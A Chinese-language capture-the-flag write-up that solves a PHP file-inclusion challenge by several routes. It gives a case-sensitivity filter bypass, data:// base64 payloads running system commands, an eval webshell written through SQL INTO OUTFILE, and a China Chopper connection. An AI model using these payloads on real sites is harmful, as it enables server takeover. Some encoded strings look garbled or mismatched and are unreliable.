目录
- 基础题解
- 本题相关知识点:
- 一题多解:
-
- php文件包含
- 一句话木马
- data://伪协议
- data://伪协议+一句话木马
基础题解
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
上面这段代码功能:上传内容中若有“php://”则删除
此处利用strstr()函数大小写的敏感性,进行绕过:
/?page=PHP://input
然后传入php语句
得到目录文件
然后可直接获得flag
注意:
现在好像不能直接在网页中显示flag,只有用bp才能看到
如下:
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
本题相关知识点:
php://input、php://output用法解析
php协议
php://详解
一题多解:
php文件包含
1.审计php代码,while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。
2.默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真
3.利用hello参数将执行内容显示,flag如图所示
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E
%3C是
<
%22是
"
%3E是
>
一句话木马
先用御剑扫描后台看到管理员界面
用户名为root,密码为空
然后进行数据库更改
SQL查询语句
SELECT "<?php eval(@$_POST['1']); ?>"
INTO OUTFILE '/tmp/test1.php'
添加一句话木马
然后打开中国剑蚁
输入url和密码
使用方法:在网址后加参数:
/?page=/tmp/test1.php
这里一定要注意,不能忘记tmp前面的
/
得到flag
data://伪协议
既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议
data://伪协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:
data://text/plain;base64,xxxx(base64编码后的数据)
<?php system("ls")?> base64编码后使用
/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b
(注意编码后的+号要URL编码)
<?php system("cat fl4gisisish3r3.php")?> base64编码后使用
/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看源码得到flag
data://伪协议+一句话木马
<?php eval($_POST["1"]); ?>
base64加密后拼接
/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
菜刀连接即可
(不用base64同样可以达到效果)
再或者
/index.php?page=data:text/plain,<?php system("ls"); ?>